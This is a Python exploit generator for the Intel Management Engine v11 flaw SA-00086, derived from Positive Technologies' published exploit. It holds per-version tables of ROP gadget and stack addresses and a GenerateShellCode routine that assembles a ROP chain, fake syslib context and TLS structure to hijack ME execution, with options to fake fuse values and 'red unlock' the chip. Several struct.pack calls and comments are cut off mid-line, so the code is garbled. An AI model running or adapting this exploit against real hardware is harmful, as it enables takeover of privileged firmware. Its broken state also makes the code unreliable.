# SPDX-License-Identifier: GPL-2.0-only # This code is based on the ME v11 SA-00086 exploit generator by Positive Technologies # and Youness Alaoui (see `doc/LICENSE.orig` for original copyright) import struct class MeInfo: def __init__(self, version, pch_type, sku, stack_top, ct_data_offset, memcpy_ret_offset, syslib_addr, syslib_size, pop_esp_addr, num_shmem_desc, write_selector, dfx_agg_sel, infinite_loop, pop_6, write_edx_and_pop_3, pop_3, scripts_second_array, init_tracehub_array_idx, retaddr_init_tracehub, retaddr_run_scripts, retaddr_bup_main, fpf_sram_copy_addr, memcpy_addr): self.ME_VERSION = version self.PCH_TYPE = pch_type self.ME_SKU = sku self.STACK_TOP = stack_top self.BUFFER_OFFSET = ct_data_offset self.SYSLIB_ADDRESS = syslib_addr self.SYSLIB_SIZE = syslib_size self.TARGET_ADDRESS = self.STACK_TOP - memcpy_ret_offset self.POP_ESP_ADDRESS = pop_esp_addr self.BUP_THREAD_ID = 0x03000300 self.NUM_SHMEM_DESC = num_shmem_desc self.BUFFER_ADDRESS = self.STACK_TOP - self.BUFFER_OFFSET self.write_selector = write_selector self.dfx_agg_sel = dfx_agg_sel self.infinite_loop = infinite_loop self.pop_6 = pop_6 self.write_edx_and_pop_3 = write_edx_and_pop_3 self.pop_3 = pop_3 self.scripts_second_array = scripts_second_array self.init_tracehub_array_idx = init_tracehub_array_idx self.retaddr_init_tracehub = retaddr_init_tracehub self.retaddr_run_scripts = retaddr_run_scripts self.retaddr_bup_main = retaddr_bup_main self.fpf_sram_copy_addr = fpf_sram_copy_addr self.memcpy_addr = memcpy_addr ME_INFOS = [ MeInfo( version="11.6.0.1126", pch_type="H", sku="2M", stack_top=0x63000, ct_data_offset=0x380, memcpy_ret_offset=0x974, syslib_addr=0x862F4, syslib_size=0x220, pop_esp_addr=0x1436F, num_shmem_desc=16, write_selector=0x11B9, dfx_agg_sel=0x1A7, infinite_loop=0xbd85, pop_6=0xe9d0, write_edx_and_pop_3=0xD1BF, pop_3=0xD1C1, scripts_second_array=0x5AB88, init_tracehub_array_idx=3, retaddr_init_tracehub=0x381D4, retaddr_run_scripts=0x36CBC, retaddr_bup_main=0x310A1, fpf_sram_copy_addr=0x85274, memcpy_addr=0x102E ), MeInfo( version="11.6.0.1126", pch_type="LP", sku="2M", stack_top=0x63000, ct_data_offset=0x380, memcpy_ret_offset=0x974, syslib_addr=0x862B4, syslib_size=0x220, pop_esp_addr=0x1B9AF, num_shmem_desc=16, write_selector=0x11B9, dfx_agg_sel=0x1A7, infinite_loop=0xBD85, pop_6=0xE9D0, write_edx_and_pop_3=0xD1BF, pop_3=0xD1C1, scripts_second_array=0x5A334, init_tracehub_array_idx=3, retaddr_init_tracehub=0x381D4, retaddr_run_scripts=0x36CBC, retaddr_bup_main=0x310A1, fpf_sram_copy_addr=0x85234, memcpy_addr=0x102E ), MeInfo( version="11.6.0.1126", pch_type="LP", sku="5M", stack_top=0x63000, ct_data_offset=0x380, memcpy_ret_offset=0x974, syslib_addr=0x872F4, syslib_size=0x220, pop_esp_addr=0x1baf6, num_shmem_desc=16, write_selector=0x11B9, dfx_agg_sel=0x1A7, infinite_loop=0xBD8D, pop_6=0xE9D8, write_edx_and_pop_3=0xD1C7, pop_3=0xD1C9, scripts_second_array=0x5A7FC, init_tracehub_array_idx=3, retaddr_init_tracehub=0x381D4, retaddr_run_scripts=0x36CBC, retaddr_bup_main=0x310A1, fpf_sram_copy_addr=0x86270, memcpy_addr=0x102E ), ] def rop(addr): return struct.pack(" pointing to valid descriptors below # shared mem descriptors with address of memcpy_s ret address # up to 0x380 with syslib context pointing up # chunk with pointers to ROP address def GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock): me_info = None for info in ME_INFOS: if info.ME_VERSION == version and info.PCH_TYPE == pch and info.ME_SKU == sku: me_info = info break if me_info is None: raise ValueError("Cannot find required information for ME version, PCH type, and ME SKU.") # Add ROPs data, rops_start = GenerateRops(me_info, fake_fpfs, red_unlock) if data is None: return None # Create syslib context and add it to the data syslib_ctx_addr = me_info.BUFFER_ADDRESS + len(data) (syslib_ctx, syslib_ctx_addr) = GenerateSyslibCtx(me_info, syslib_ctx_addr) data += syslib_ctx # Create TLS structure tls = struct.pack(" me_info.BUFFER_OFFSET: raise ValueError("Too much data in the ROPs, cannot fit payload within 0x%X bytes" % me_info.BUFFER_OFFSET) # Add padding and add TLS at the end of the buffer data += struct.pack("